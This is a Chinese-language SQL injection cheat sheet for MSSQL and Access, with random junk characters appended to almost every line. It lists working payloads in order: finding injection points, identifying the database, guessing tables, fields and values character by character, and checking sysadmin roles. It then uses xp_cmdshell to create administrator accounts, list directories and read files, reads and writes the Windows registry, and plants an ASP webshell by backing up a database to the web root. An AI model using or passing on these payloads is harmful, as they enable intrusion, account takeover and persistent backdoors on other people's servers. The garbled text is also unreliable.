1.判断是否有注入;and 1=1 ;and 1=2 )` -b\8uw
2.初步判断是否是mssql ;and user>0 pj;cL]L
7GY[l3arxv
3.注入参数是字符'and [查询条件] and ''=' v^2K=f[nE
:A
$%5;-kO
4.搜索时没过滤参数的'and [查询条件] and '%25'=' |C?<!6.QmV
<use+C2
5.判断数据库系统 ke_Dd?
8.HqQ:?&2t
;and (select count(*) from sysobjects)>0 mssql G`!#k!&r
jG)fM?
;and (select count(*) from msysobjects)>0 access mj=$[y(
|UZPn>F~
C9`#57 Pp
B;9X{"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ^eQK.B(
o7S,W?;=5
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 <^6|ZgR
0M(\xO
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 eyBLgJt8P
+Wh0Of
9.(1)猜字段的ascii值(access) vS%o>"P
(.4mX
t
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 w G[X*/v
EL$l .
v
(2)猜字段的ascii值(mssql) =Y#)c]`
%$|=_K)Ks
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 }+G6` Zd
5BR9f3}
10.测试权限结构(mssql) gfG Mu0FjB
)pLde_ k
Zc(uK{3W-
wG6>.`:
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- _Z z"`
Z12-Vps
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- w^EAk(77
0FD#9r
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 4CVtXi_Y
1.U5gW/3L
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $Q*h+)g<
K.4t*-<`[
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- JYA$_T
RhIRCN9
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- zC#[
^55#!/9
;and 1=(select IS_MEMBER('db_owner'));-- }/q]:3M|
~c~N _b
*>,8+S33r{
.)~IoIW=
11.添加mssql和系统的帐户 \)'s6>58|
ts/rV#s~
;exec master.dbo.sp_addlogin username;-- FB-?{78~
;exec master.dbo.sp_password null,username,password;-- V`qHNM/t
iV;X``S
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8gWifx
#N
CIAHsbn.A
;exec master.dbo.xp_cmdshell 'net user username password Lb;:<
SVWtKc<
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- &Iv3_T<AF
Uu
~BErEC
;exec master.dbo.xp_cmdshell 'net user username password /add';-- SE/GT:}
p'z
fo!
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0)n#$d>
.si!`?K%[
0J7)UqMf.
,pL%,>R5
12.(1)遍历目录 C# IV"Pkq
E+-ahvk
;create table dirs(paths varchar(100), id int) TOmq2*,/
F33&A<(,
;insert dirs exec master.dbo.xp_dirtree 'c:\' ={ P
78&(>8@m
;and (select top 1 paths from dirs)>0 5/4N Y
"
UaUaSg#
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ~ /s(.oji
6cH.s+
cnJ(Fv_F$
&?C%
-"|c
(2)遍历目录 s<,[xkMB
mTXeIng?
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- tmEF7e`(o
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &U/7D!^X
W(U:D?e
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7 -yf
pv);LjF
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {"hX_t
t;X
!+
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 # rnO=N8
5#kN<S!
-DD2
/NRdBN
13.mssql中的存储过程 L-Qc[L
K. [2uhB)
xp_regenumvalues 注册表根键, 子键 Xm,w.|dx
1KwUp0%&
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Za,rht
CqHCJ '
xp_regread 根键,子键,键值名 p2T<nP<Pt
5n,?&+*L
;exec xp_regread W$&{jr-p
#nG?}*#
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 =(\
/+
0-[
klSzmi4M
xp_regwrite 根键,子键, 值名, 值类型, 值 vzDoF0Ts*p
AA$+ayzx9{
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ~1e?9D
Z,~Bz@5`"
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 W
&wqN
^APPWQUl
xp_regdeletevalue 根键,子键,值名 >a;0<Ui&Q
;Z:zL^rvn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 M.B0)
'?7?"v
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 rjsqXo:9
'u"r^o?
7i(U?\A;.
EVs.'Xg<
14.mssql的backup创建webshell v&}+ps_W
,au-g)IFZ
use model #r{`Iv?nn
c*F'x-TH
create table cmd(str image); =)tU]kp
Gp*U2LB
insert into cmd(str) values (''); $TU)O^c
mx\b6w7
backup database model to disk='c:\l.asp'; ^\|Hz\"*
D9.H<.|36
-<e8\ Z`
TNgf96)
y
15.mssql内置函数 X{2))t%
r(qAe{
;and (select @@version)>0 获得Windows的版本号 "p,TYjT?R
xnz(hz6
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Th"0Cc)
4n1-@qTPF~
;and (select user_name())>0 爆当前系统的连接用户 oEfy{54
m3o+iYkMD
;and (select db_name())>0 得到当前连接的数据库 WEX6I16
:.xdG>\n3
!a
%6nBo
f(=3'wQ
16.简洁的webshell eAkC-Fm
]*fiLYe9
use model &+"-'7
2Mqac:L
create table cmd(str image); "Yh[-[,
bD*z"e
insert into cmd(str) values (''); 'dT JE--@
X0G
Mly
backup database model to disk='g:\wwwtest\l.asp';